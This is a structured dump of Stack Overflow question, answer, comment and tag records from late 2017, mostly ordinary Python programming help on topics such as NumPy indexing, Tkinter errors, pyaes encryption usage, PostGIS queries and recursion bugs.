type: AnswerComment
comment on: http://stackoverflow.com/a/47245009
has text: This link has some methods you might like better: https://stackoverflow.com/questions/5464410/how-to-tell-if-a-date-is-between-two-other-dates-in-python
type: Comment
score: 0

http://stackoverflow.com/comment/81543296
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47295983
has text: That gives a new error: `Related Field got invalid lookup: user_id`
type: Comment

http://stackoverflow.com/q/47294598
linked to: http://stackoverflow.com/q/14068509
downvote count: 1
has comment: http://stackoverflow.com/comment/81540553
favorite count: 0
type: Question
upvote count: 4
answer count: 2
has comment: http://stackoverflow.com/comment/81541537
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/78520196
tagged with: python
has answer: http://stackoverflow.com/a/47298289
tagged with: http://stackoverflow.com/tag/r
score: 3
has body: I have two non square matrices that i need to find the pearson correlation values and the associated p-values between each other. I'm aware of the rcorr() library, but the RAM memory usage with this library is huge - i have two enormous matrices and i'm unable to use rcorr(). Using the cor() library, i was able to obtain the correlation values. With this correlation array, is possible to make a function to obtain the p-values, without rcorr()?? ps. I also tried to look into Python to do this, but i was only able to found libraries that do not accept non-square matrices such as pearsonr and linegress from scipy.stat. data1 &lt;- matrix(runif(30),ncol=5) data2 &lt;- matrix(runif(24),ncol=4) correlation &lt;-cor(data1,data2,method='pearson') correlation [,1] [,2] [,3] [,4] [1,] -0.63451452 0.8311530 -0.18859842 0.004892728 [2,] 0.66676636 -0.8633116 0.02666929 0.010362925 [3,] -0.03299319 -0.4435478 0.06281622 -0.502668829 [4,] -0.79032734 0.7334099 -0.13531482 0.087650016 [5,] -0.02617180 0.5419900 0.67293404 0.112950907
has title: Finding the p-value of the pearson correlation between two non square matrices in R without rcorr() library

http://stackoverflow.com/q/47249153
downvote count: 1
has comment: http://stackoverflow.com/comment/81466147
favorite count: 0
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/81448727
has title: Scraping Twitter data using BeautifulSoup
linked to: http://stackoverflow.com/q/33308634
tagged with: python
tagged with: twitter
score: 1
type: Question
has comment: http://stackoverflow.com/comment/81448656
upvote count: 2
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47249247
tagged with: web-scraping
tagged with: python-requests
has body: I have tried to scrape twitter data using BeautifulSoup and requests library. I tried to log in first using BeautifulSoup and then scrape the required page. But it is not working. I didn't get the mistake what I have done. I am adding this code: import requests from bs4 import BeautifulSoup session_rqst=requests.session() url="https://twitter.com/login" r=requests.get(url) c=r.content soup=BeautifulSoup(c,"html.parser") token=soup.find("input",{"name":"authenticity_token"}) payload = {"username": "test_user", "password": "test_password"} result=session_rqst.post(url, data=payload, headers = dict(referer="https://twitter.com/")) all=result.content soup1=BeautifulSoup(all,"html.parser") page=requests.get("https://twitter.com/akhiltaker/following") page.content soup1=BeautifulSoup(page.content,"html.parser") How I can scrape followers list from the webpage?

http://stackoverflow.com/q/47242677
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47242708
accepted answer: http://stackoverflow.com/a/47242708
has title: how to access entire sub array in numpy?
upvote count: 1
has comment: http://stackoverflow.com/comment/81435998
has comment: http://stackoverflow.com/comment/81436006
has body: I am trying to store different images results in a multi-dimensional array. Consider below m has 3 images of size 3x4, now I want to access the second image, I am trying m[:, :, 1]. But it produced wrong results. Can you please correct me on how to access sub array. m = np.random.random((3,4,3)) array([[[ 0.72474649, 0.88239477, 0.21834498], [ 0.3594392 , 0.06462519, 0.43329582], [ 0.83452734, 0.43937307, 0.61267164], [ 0.75062416, 0.76516036, 0.35487906]], [[ 0.90644054, 0.22091564, 0.94508058], [ 0.20201594, 0.60295539, 0.77998197], [ 0.10496835, 0.77960017, 0.78249163], [ 0.53903028, 0.81245971, 0.38983454]], [[ 0.81369716, 0.89243267, 0.49874087], [ 0.95248644, 0.0847973 , 0.59074351], [ 0.24507041, 0.03595347, 0.32902477], [ 0.48906304, 0.14659161, 0.77392082]]]) m[:, :, 1] // Actual output array([[ 0.88239477, 0.06462519, 0.43937307, 0.76516036], [ 0.22091564, 0.60295539, 0.77960017, 0.81245971], [ 0.89243267, 0.0847973 , 0.03595347, 0.14659161]]) // Expected output [ 0.90644054, 0.22091564, 0.94508058], [ 0.20201594, 0.60295539, 0.77998197], [ 0.10496835, 0.77960017, 0.78249163], [ 0.53903028, 0.81245971, 0.38983454]
tagged with: python
possible better answer: http://stackoverflow.com/a/47244445
has answer: http://stackoverflow.com/a/47242766
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/81436043
score: 1
has answer: http://stackoverflow.com/a/47244445
answer count: 4
has answer: http://stackoverflow.com/a/47242780

http://stackoverflow.com/comment/81617426
has text: Could you store the data as a dict and then use try/except to test?
type: Comment
comment on: http://stackoverflow.com/q/47333158
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81667077
comment on: http://stackoverflow.com/q/47356980
has text: What exactly do you mean by "previous sum". Do you mean another sum, or the one of the two numbers?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47372780
has title: How to debug "TypeError: object of type 'StringVar' has no len()" in Python?
has answer: http://stackoverflow.com/a/47372826
upvote count: 0
answer count: 2
has body: Here is the error from the Python 3 shell: ## Exception in Tkinter callback Traceback (most recent call last): File "C:\Users\DMECHCH\AppData\Local\Programs\Python\Python36-32\lib\tkinter\__init__.py", line 1699, in __call__ return self.func(*args) File "C:/Users/DMECHCH/OneDrive/Courses ARA/Diploma IT Tech Support Courses/DTEC501 - Programming fundementals/Week 14 Session 1/14-3 Q1.py", line 119, in &lt;lambda&gt; check_btn = Button(root_window,text="Change Password",command=lambda: validate_password(pwd1, pwd2)) File "C:/Users/DMECHCH/OneDrive/Courses ARA/Diploma IT Tech Support Courses/DTEC501 - Programming fundementals/Week 14 Session 1/14-3 Q1.py", line 27, in validate_password pwd_length = len(password) TypeError: object of type 'StringVar' has no len() ## The error occurs when I click the button Here is the full code ## # Functions def validate_password(first_pwd, second_pwd): """ validates if password is acceptable """ min_length = 8 number_of_tests = 6 test1 = 0 #Both entered passwords are identical. test2 = 0 #The password is &gt;= 8 characters in length. test3 = 0 #if first and last chars are alpha then both must be different test4 = 0 #There are no more than 2 vowels in the password. test5 = 0 #The password has at least 1 alphabetic character #in either upper or lower case. test6 = 0 #Not all alphabetic characters are in the same #case (either all upper or all lower). # test1 if first_pwd == second_pwd: test1 = 1 password = first_pwd pwd_length = len(password) # test2 if pwd_length &gt;= 8: test2 = 1 # test3 same = 0 if password[0].isalpha() and password[pwd_length-1].isalpha(): if password[0] == password[pwd_length-1].upper(): same = 1 if password[0] == password[pwd_length-1].lower(): same = 1 if same == 0: test3 = 1 else: test3 = 1 # test4 vowels = ["a","e","i","o","u","A","E","I","O","U"] count = 0 max_vowels = 2 for vowel in vowels: count = count + password.count(vowel) if count &lt;= max_vowels: test4 = 1 alpha_chars = [] # test5 for char in passwor…
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: tkinter
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47372828
tagged with: python
score: -1

http://stackoverflow.com/comment/81715204
has text: @AnandShaw I took a closer look, and got your code running. Please check my updated answer.
comment on: http://stackoverflow.com/a/47252241
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/47241134
has body: Seems to be an issue with setuptools. You might need to upgrade setuptools and pip first with pip install -U setuptools pip.
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/81432867
answers question: http://stackoverflow.com/q/47240916
has comment: http://stackoverflow.com/comment/81432635
has comment: http://stackoverflow.com/comment/81433321
has comment: http://stackoverflow.com/comment/81432915
has comment: http://stackoverflow.com/comment/81432694

http://stackoverflow.com/q/47347117
has comment: http://stackoverflow.com/comment/81648354
has comment: http://stackoverflow.com/comment/81650331
has comment: http://stackoverflow.com/comment/81646367
type: Question
has answer: http://stackoverflow.com/a/47350992
tagged with: python
has body: I am using this code to detect mouse position with pyhook in Windows. What I need is to detect mouse click and add delay before execution - scenario: I click with mouse but this click should be 0.5 second delayed (so click should be executed after 0.5 second). Is this possible somehow? import pyHook import pythoncom def onclick(event): print event.Position return True hm = pyHook.HookManager() hm.SubscribeMouseAllButtonsDown(onclick) hm.HookMouse() pythoncom.PumpMessages() hm.UnhookMouse()
accepted answer: http://stackoverflow.com/a/47350992
tagged with: python-2.7
type: AnsweredQuestion
score: 0
tagged with: pyhook
has title: Delay mouse click 0.5 second
has comment: http://stackoverflow.com/comment/81650003
answer count: 1

multiprocessing
tags question: http://stackoverflow.com/q/47359856
tags question: http://stackoverflow.com/q/47256259
tags question: http://stackoverflow.com/q/47324891
tags question: http://stackoverflow.com/q/47295824
tags question: http://stackoverflow.com/q/47232679
tags question: http://stackoverflow.com/q/47365606
tags question: http://stackoverflow.com/q/47318371
tags question: http://stackoverflow.com/q/47332937
tags question: http://stackoverflow.com/q/47335785
tags question: http://stackoverflow.com/q/47267077
tags question: http://stackoverflow.com/q/47275036
tags question: http://stackoverflow.com/q/47355671
tags question: http://stackoverflow.com/q/47356159
tags question: http://stackoverflow.com/q/47262190
tags question: http://stackoverflow.com/q/47249818
type: Tag
tags question: http://stackoverflow.com/q/47368904
tags question: http://stackoverflow.com/q/47328431
tag name: multiprocessing
tags question: http://stackoverflow.com/q/47294860

http://stackoverflow.com/q/47235825
answer count: 2
has answer: http://stackoverflow.com/a/47235859
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has body: I am looking for python equivalent to these data structure in C++ map&lt;string,set&lt;string&gt;&gt; sorted by key the value to be a set and map&lt;key,val&gt; sorted by key After reading this: https://docs.python.org/2/library/collections.html#collections.OrderedDict I still didn't find anything suitable.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81444061
tagged with: python
has answer: http://stackoverflow.com/a/47235847
has title: Python data structure and their C++ equivalent
tagged with: c++
has comment: http://stackoverflow.com/comment/81422079
score: 0
linked to: http://stackoverflow.com/q/9001509

django-pipeline
tag name: django-pipeline
type: Tag
tags question: http://stackoverflow.com/q/47229488

http://stackoverflow.com/comment/81454243
comment on: http://stackoverflow.com/a/47242889
has text: I did so and used `app = Flask(__name__)` and also used on my CSS file: `background: url(img.png)` and doesn't fix the problem
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47282582
has body: Thanks for your help Maxim. It's working fine now. Here is my fixed mnist_deep.py code: # Disable linter warnings to maintain consistency with tutorial. # pylint: disable=invalid-name # pylint: disable=g-bad-import-order from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import sys import tempfile import random from tensorflow.examples.tutorials.mnist import input_data import tensorflow as tf FLAGS = None def deepnn(x): """deepnn builds the graph for a deep net for classifying digits. Args: x: an input tensor with the dimensions (N_examples, 784), where 784 is the number of pixels in a standard MNIST image. Returns: A tuple (y, keep_prob). y is a tensor of shape (N_examples, 10), with values equal to the logits of classifying the digit into one of 10 classes (the digits 0-9). keep_prob is a scalar placeholder for the probability of dropout. """ # Reshape to use within a convolutional neural net. # Last dimension is for "features" - there is only one here, since images are # grayscale -- it would be 3 for an RGB image, 4 for RGBA, etc. with tf.name_scope('reshape'): x_image = tf.reshape(x, [-1, 28, 28, 1]) # First convolutional layer - maps one grayscale image to 32 feature maps. with tf.name_scope('conv1'): W_conv1 = weight_variable([5, 5, 1, 32]) b_conv1 = bias_variable([32]) h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) # Pooling layer - downsamples by 2X. with tf.name_scope('pool1'): h_pool1 = max_pool_2x2(h_conv1) # Second convolutional layer -- maps 32 feature maps to 64. with tf.name_scope('conv2'): W_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) # Second pooling layer. with tf.name_scope('pool2'): h_pool2 = max_pool_2x2(h_conv2) # Fully connected layer 1 -- after 2 round of downsampling, our 28x28 image # is down to 7x7x64 feature maps -- maps this to 1024 features. with tf.name_scope('fc1'): W_f…
score: 1
answers question: http://stackoverflow.com/q/47254705
type: Answer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47266300
type: AnsweredQuestion
has title: Format path within Text File for consumption in Python
has body: I am writing a Python script for use by multiple non-Python users. I have a text file containing the parameters my script needs to run. One of the inputs is a path. I cannot get my script to run and was thinking it was because I had referenced my path incorrectly. I have tried: C:\temp\test "C:\temp\test" r"C:\temp\test" C:/temp/test "C:/temp/test" C:\\temp\\test "C:\\temp\\test" I have added each one of these into a text file, which is called and read in my Python script. I have other parameters and they are called correctly, my script seems to run when I hard code the path in. I say seems because I think there are a few bugs I need to check, but it runs with no errors. When I use the text file I get this error - which varies depending on if I used one of the above examples: WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'c:\temp\match1\jpg\n/.' My code is as follows: print ("Linking new attachments to feature") fp = open(r"C:\temp\Match1\Match_Table.txt","r") #reads my text file with inputs lines=fp.readlines() InFeat = lines[1] print (InFeat) AttFolder = lines[3] #reads the folder from the text file print (AttFolder) OutTable = lines[5] if arcpy.Exists(OutTable): print("Table Exists") arcpy.Delete_management(OutTable) OutTable = lines[5] print (OutTable) LinkF = lines[7] print (LinkF) fp.close() #adding from https://community.esri.com/thread/90280 if arcpy.Exists("in_memory\\matchtable"): arcpy.Delete_management("in_memory\\matchtable") print ("CK Done") input = InFeat inputField = "OBJECTID" matchTable = arcpy.CreateTable_management("in_memory", "matchtable") matchField = "MatchID" pathField = "Filename" print ("Table Created") arcpy.AddField_management(matchTable, matchField, "TEXT") arcpy.AddField_management(matchTable, pathField, "TEXT") picFolder = r"C:\temp\match1\JPG" #hard coded in print (picFolder) print ("Fields added") fields = ["MatchID", "Filename"] cursor = arcpy.da.InsertCursor(matchTable, fields) ##go …
has comment: http://stackoverflow.com/comment/81484321
answer count: 1
type: Question
tagged with: arcpy
score: 0
accepted answer: http://stackoverflow.com/a/47266916
tagged with: python
has answer: http://stackoverflow.com/a/47266916

http://stackoverflow.com/q/47236398
tagged with: python
has answer: http://stackoverflow.com/a/47236637
tagged with: gspread
has title: AttributeError: 'module' object has no attribute 'authorize'
type: Question
tagged with: raspberry-pi
upvote count: 2
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81423830
has comment: http://stackoverflow.com/comment/81424348
has comment: http://stackoverflow.com/comment/84001907
has body: I want to reporting something to google spreadsheet, my code for example: import json import gspread from oauth2client.service_account import ServiceAccountCredentials scope = ['https://spreadsheets.google.com/feeds'] credentials = ServiceAccountCredentials.from_json_keyfile_name('con.json', scope) gc = gspread.authorize(credentials) wks = gc.open("temperatura") ws = wks.get_worksheet(0) ws.update_acell('A1','IT WORKS!') I get error: gc = gspread.authorize(credentials) AttributeError: 'module' object has no attribute 'authorize' Thanks for feedback regards malin
favorite count: 0
has comment: http://stackoverflow.com/comment/81423122
score: 2
has comment: http://stackoverflow.com/comment/81423404
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81423462
accepted answer: http://stackoverflow.com/a/47236637

http://stackoverflow.com/a/47458171
answers question: http://stackoverflow.com/q/47231667
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47231667
type: AcceptedAnswer
has body: Get the qte enabled angstrom toolchain from this link "http://web.archive.org/web/20130823131954/http://www.angstrom-distribution.org/toolchains/". Setup the QT IDE on your desktop to cross compile QT apps for BBB. Once you get binaries compatible with BBB architecture you can run them on BBB. You need to look into cross-compilation stuff.

graphics
tag name: graphics
tags question: http://stackoverflow.com/q/47267706
type: Tag
tags question: http://stackoverflow.com/q/47303245
tags question: http://stackoverflow.com/q/47241330

http://stackoverflow.com/a/47357363
downvote count: 1
score: 22
upvote count: 23
answers question: http://stackoverflow.com/q/47357090
has body: Your code seems right, this is running for me on Windows 7 (Python 3.6): from tkinter import * root = Tk() canv = Canvas(root, width=80, height=80, bg='white') canv.grid(row=2, column=3) img = PhotoImage(file="bll.jpg") canv.create_image(20,20, anchor=NW, image=img) mainloop() resulting in this tkinter GUI: with this image as bll.jpg: (imgur converted it to bll.png but this is working for me as well.) More options: This answer mentions, tkinter is working only with gif images. Try using a .gif image. If this is not working, use PIL as stated in this answer. Update: Solution with PIL: from tkinter import * from PIL import ImageTk, Image root = Tk() canv = Canvas(root, width=80, height=80, bg='white') canv.grid(row=2, column=3) img = ImageTk.PhotoImage(Image.open("bll.jpg")) # PIL solution canv.create_image(20, 20, anchor=NW, image=img) mainloop()
type: Answer
accepted answer of: http://stackoverflow.com/q/47357090
type: AcceptedAnswer

http://stackoverflow.com/a/47337369
answers question: http://stackoverflow.com/q/47331961
score: 1
downvote count: 0
upvote count: 1
has body: You simply are not applying the camera transform to your player instance: It is drawn in absolute game coordinates, while everything else is drawn in camera coordinates. The collision checks, on the other hand, are always done in game absolute coordinates. You have to apply the camera to your player, before drawing it as well. As your code is, t looks like you simply have to add the player to the all_sprites group, and remove the Player.draw method altogether. And then, if you wish, correct something on the Camera.update method so that when at the border of the map, the player is not always centered on the screen.
type: Answer

http://stackoverflow.com/comment/81521001
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47283385
score: 0
has text: then why did it give me that black area which is cloud?

http://stackoverflow.com/q/47356167
has body: Instead of using a global variable, I'm trying to make an instance of a variable in a class, as it seems to be best practice. How do I reference this variable across other functions in the class? I would have thought that Test.running_sum would work or at least running_sum in test_function, but I'm not having any luck with either. Thanks very much! class Test: def __init__(self): self.root = None running_sum = 0 def test_function(self): print(Test.running_sum) return x = Test() x.test_function() Error: Traceback (most recent call last): File "so.py", line 1, in &lt;module&gt; class Test: File "so.py", line 10, in Test x = Test() NameError: name 'Test' is not defined
has answer: http://stackoverflow.com/a/47356283
favorite count: 0
has answer: http://stackoverflow.com/a/47356446
possible better answer: http://stackoverflow.com/a/47356329
type: Question
has comment: http://stackoverflow.com/comment/81664864
tagged with: python
tagged with: class
accepted answer: http://stackoverflow.com/a/47356220
answer count: 4
has title: Python Variables across Class functions - how to call them?
has answer: http://stackoverflow.com/a/47356220
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47356329
downvote count: 0
has comment: http://stackoverflow.com/comment/81665352
score: 1
upvote count: 1

http://stackoverflow.com/comment/81690755
type: Comment
score: 0
type: AnswerComment
has text: @Escualo: kind of. `await` works just like `yield from`, but has the added restriction that you have to have an awaitable object; this to prevent you from accidentally mixing old-skool generators and coroutines.
comment on: http://stackoverflow.com/a/47369050

http://stackoverflow.com/q/47377925
tagged with: export
has body: textFileLists = [[str1, str2, str3], [str1, str2, str3], [str1, str2, str3]] data = open('Data for A11.1.txt', 'r') read = data.read() new = [] for i in read: new.append(i.split('\n')) print(new) Is it possible to export a list of lists to and still maintain it originally?
has comment: http://stackoverflow.com/comment/81709637
has comment: http://stackoverflow.com/comment/81707911
answer count: 0
type: UnansweredQuestion
has title: Is it possible to export a list of lists to and still maintain it originally?
score: 0
tagged with: list
tagged with: python
has comment: http://stackoverflow.com/comment/81708234
tagged with: text-files
has comment: http://stackoverflow.com/comment/81708182
type: Question

http://stackoverflow.com/a/47299525
has body: Possibility 1. The case of the message[16:32] is that the first part of your unencrypted text could have multibyte characters, so after taking 16 bytes, 1+ byte is leaking to the second part of your original/unencrypted string. Though this is only if you are using multibyte characters. If you are also encrypting them, you could try converting the text to binary first if your encoding is utf8: cipher.encrypt(mystring.encode('utf8')) and in reverse cipher.decrypt(mystring.decode('utf8')) Possiblity 2. If you are decrypting with the same AESModeOfOperationCFB you should try with a new instance for decryption. The following code fails to decrypt the correct text which contains non valid ascii bytes. cipher = pyaes.AESModeOfOperationCBC(key, vector) encrypted = cipher.decrypt('Hello world') print(encrypted) # ?Eg?m??K?(| decrypted = cipher.decrypt(encrypted) print(decrypted) # ?XL=?-QE??Y?=k But if you do this way: encrypter = pyaes.AESModeOfOperationCBC(key, vector) encrypted = cipher.encrypt('Hello world !!!!') print(encrypted) # ?Eg?m??K?(| decrypter = pyaes.AESModeOfOperationCBC(key, vector) decrypted = decrypter.decrypt(encrypted) # Hello world !!!! If you are encrypting 2 blocks with same instance and then concatenate them, you need a new instance which decrypt 2 new blocks. Or encrypt/decrypt each block with a new instance each.
accepted answer of: http://stackoverflow.com/q/47290667
type: Answer
answers question: http://stackoverflow.com/q/47290667
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/81435188
comment on: http://stackoverflow.com/a/47241786
type: AnswerComment
has text: do as you want, but IMHO it's not bringing anything to the question (which is unclear)
score: 0
type: Comment

http://stackoverflow.com/q/47329325
type: Question
tagged with: python
tagged with: sqlalchemy
has title: Getting longitude and latidude from postgis database with sqlalchemy
tagged with: postgis
upvote count: 2
accepted answer: http://stackoverflow.com/a/47329387
type: AnsweredQuestion
score: 2
tagged with: function
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47329387
tagged with: latitude-longitude
favorite count: 0
has body: I am using the sqlalchemy package to state queries to my postgis database which is filled with .osm data of a city. I want to retrieve the longitude and latitude values from lets say the planet_osm_point table. I state the sql query which looks like this: SELECT st_y(st_asewkt(st_transform(way, 4326))) as lat, st_x(st_asewkt(st_transform(way, 4326))) as lon "addr:housenumber" AS husenumber, "addr:street" AS street, "addr:postcode" AS postcode FROM planet_osm_point Sqlalchemy throws me this error: sqlalchemy.exc.InternalError: (psycopg2.InternalError) FEHLER: Argument to ST_Y() must be a point The only problem is the ST_Y() and ST_X() function.
has comment: http://stackoverflow.com/comment/81609509

http://stackoverflow.com/a/47351681
has comment: http://stackoverflow.com/comment/81655918
score: 0
has comment: http://stackoverflow.com/comment/81656417
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81656170
accepted answer of: http://stackoverflow.com/q/47351028
type: Answer
has body: This is what you're looking for: def gen_qr_text(acc_id,amount): pp_acc_id = "" pp_amount = "" pp_chksum = "" if len(acc_id) == 15: pp_acc_id = "0315" + acc_id elif len(acc_id) == 13: pp_acc_id = "0213" + acc_id elif len(acc_id) == 10: pp_acc_id = "01130066" + acc_id[1] else: return None if not amount: pp_amount = "54{:2d}{}".format(len(amount), amount)) pp_str = "00020101021129370016A000000677010111" + pp_acc_id + "5303764" + pp_amount + "5802TH" + "6304" pp_chksum = str(crc(pp_str)) pp_str += pp_chksum return pp_str Also note that there's nothing called null in Python, return None.
has comment: http://stackoverflow.com/comment/81656520
answers question: http://stackoverflow.com/q/47351028

http://stackoverflow.com/a/47372987
type: Answer
upvote count: 2
score: 1
downvote count: 1
has body: required [optional] required [optional, but both needed].
answers question: http://stackoverflow.com/q/47372969

http://stackoverflow.com/q/47254099
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/240178
tagged with: python
duplicate of: http://stackoverflow.com/q/240178
score: 0
has comment: http://stackoverflow.com/comment/81458578
answer count: 0
has body: I'm trying to get a nested for loop to build a chessboard, in which the the chessboard is a list, with a list for each row, each of which contains a list that contains eight lists of length 2 to reference which diagonals that particular square lies on. board = [[[0]*2]*8]*8 Generates the following: [[[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]], [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]] Which is what I want, but then the following code: for i in range(8): for j in range(8): #left diagonals, Upper left corner is 0th row, Right diagnonals, upper right corner is 0th row [l,r] board[i][j][:] = [i + j, 7 - i + j] Generates: [[[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]], [[7, 0], [8, 1], [9, 2], [10, 3], [11, 4], [12, 5], [13, 6], [14, 7]]] Which is incorrect, each of these 2-element lists should have a distinct pair of values in them.
type: Question
has comment: http://stackoverflow.com/comment/81458666
has title: Not understanding why Python's nested loop doesn't replace a particular list element

http://stackoverflow.com/q/47343670
type: Question
upvote count: 0
has answer: http://stackoverflow.com/a/47343744
downvote count: 2
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81639351
type: AnsweredQuestion
tagged with: recursion
accepted answer: http://stackoverflow.com/a/47343744
has comment: http://stackoverflow.com/comment/81639394
has comment: http://stackoverflow.com/comment/81639732
has body: I am trying to write a recursion function with python which checks for names in a list and gives out a new name. The name of csv to be checked can be formed using parameters comm and index passed to the function. I wrote the below function and expecting the output to be printed as string csv_full_list=["mycsv_0","mycsv_1"] def create_csv_name(comm,index): if comm+"_"+str(index) in csv_full_list: create_csv_name(comm,index+1) else: return comm+"_"+str(index) print create_csv_name("mycsv",0) can anyone tel me why this function returning none type instead of string.
score: -2
has comment: http://stackoverflow.com/comment/81639446
tagged with: python
has comment: http://stackoverflow.com/comment/81639332
has title: Recursion function in python- check if element in a list is already present and generate a new one

http://stackoverflow.com/comment/81687500
type: QuestionComment
has text: 1. myself Priyanshu jain A. Option firstB. Option secondC. Option thirdD. Option fourthE. Option fifth
score: 0
comment on: http://stackoverflow.com/q/47367366
type: Comment

http://stackoverflow.com/comment/83581970
type: AnswerComment
comment on: http://stackoverflow.com/a/47238925
score: 4
has text: HDF5 is not a database, it's serialization format. It's requires to load the whole in memory.
type: Comment

http://stackoverflow.com/a/47321680
answers question: http://stackoverflow.com/q/47321648
score: 1
type: Answer
downvote count: 0
upvote count: 1
has body: You can use a simple for loop for this. Loop through the list and for each element in the list check whether your x is a substring of that element with in. If it is true display that element. You can do it in python like this.. x = 'a' list = ['ab','cd','a'] for element in list: if x in element: print(element) Output ab a

http://stackoverflow.com/q/47365676
tagged with: matplotlib
tagged with: python
has title: Unpacking values in python
has comment: http://stackoverflow.com/comment/81684125
has comment: http://stackoverflow.com/comment/81684155
has answer: http://stackoverflow.com/a/47365744
accepted answer: http://stackoverflow.com/a/47365744
upvote count: 2
score: 2
linked to: http://stackoverflow.com/q/10422504
downvote count: 0
has comment: http://stackoverflow.com/comment/81684105
duplicate of: http://stackoverflow.com/q/10422504
answer count: 1
has body: It might be a basic question but what does line, = in the below code? import numpy as np import matplotlib.pyplot as plt ax = plt.subplot(111) t = np.arange(0.0, 5.0, 0.01) s = np.cos(2*np.pi*t) line, = plt.plot(t, s, lw=2) plt.annotate('local max', xy=(2, 1), xytext=(3, 1.5), arrowprops=dict(facecolor='black', shrink=0.05), ) plt.ylim(-2,2) plt.show() I tried with a simple example a, = 1 which throws the error int object is not iterable, and this a, = 1, works. So what does var, = does?
favorite count: 0
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/86141743
type: AnswerComment
comment on: http://stackoverflow.com/a/47270901
has text: You most likely need docker-compose since most likely there'll be a db, and except for Linux, host networks on Docker (to connect with local db) don't really work – A lot of people develop on Mac and even Windows.
type: Comment
score: 0

http://stackoverflow.com/comment/81629773
score: 1
comment on: http://stackoverflow.com/a/47338592
has text: The `r` prefix does mean that backslashes aren't interpreted as escapes by Python's string literal syntax - but that just means that they are available to be interpreted by the regex compiler (and `\x` for hexadecimal values is one that the regex compiler does implement). You almost always want to use the `r` prefix with regular expressions.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81788260
score: 0
type: Comment
has text: Doesn't this just set a key-value pair that can be recognized in the code? Does it have some other benefit?
type: AnswerComment
comment on: http://stackoverflow.com/a/47298613

http://stackoverflow.com/q/47260848
has comment: http://stackoverflow.com/comment/81473194
linked to: http://stackoverflow.com/q/43255910
tagged with: google-app-engine
has comment: http://stackoverflow.com/comment/81472789
has body: I'm using Google App Engine standard environment to host a python-flask-application and I'm having issues to get the errors to show up in StackDriver Error Reporting. By default Google App Engine should log errors to StackDriver Error Reporting, but it doesn't. I've had errors before that showed up in StackDriver Error Reporting, but I can't reproduce that. The errors seem to go straight to the Server-Errors section and not to the Application-Errors. But it seems logical to me that both are logged in StackDriver Error Reporting. I did some debugging in order to get it working using routes /error and /500. The result was the following: The errors show up in the Google App Engine overview: Both are visible in the logs: But nothing shows up in StackDriver Error Reporting: Would anyone have an idea why this is the case? UPDATE: I found that using the flask.logger seems to be the problem. Using logging works ok and ends up in StackDriver Error Reporting (except for some formatting issues). Both do end up in the logger though. I am using a logging.StreamHandler to register to flask.logger using addHandler. My best guess is that there is something wrong with the formatting of the logging.StreamHandler. Investigating further.
tagged with: google-cloud-error-reporting
tagged with: python
has title: Google App Engine Errors not showing up in StackDriver Error Reporting using Flask
type: AnsweredQuestion
upvote count: 3
has answer: http://stackoverflow.com/a/47274221
has comment: http://stackoverflow.com/comment/81473358
downvote count: 0
has comment: http://stackoverflow.com/comment/81474337
tagged with: stackdriver
answer count: 1
tagged with: flask
favorite count: 0
type: Question
score: 3
accepted answer: http://stackoverflow.com/a/47274221

http://stackoverflow.com/comment/83332939
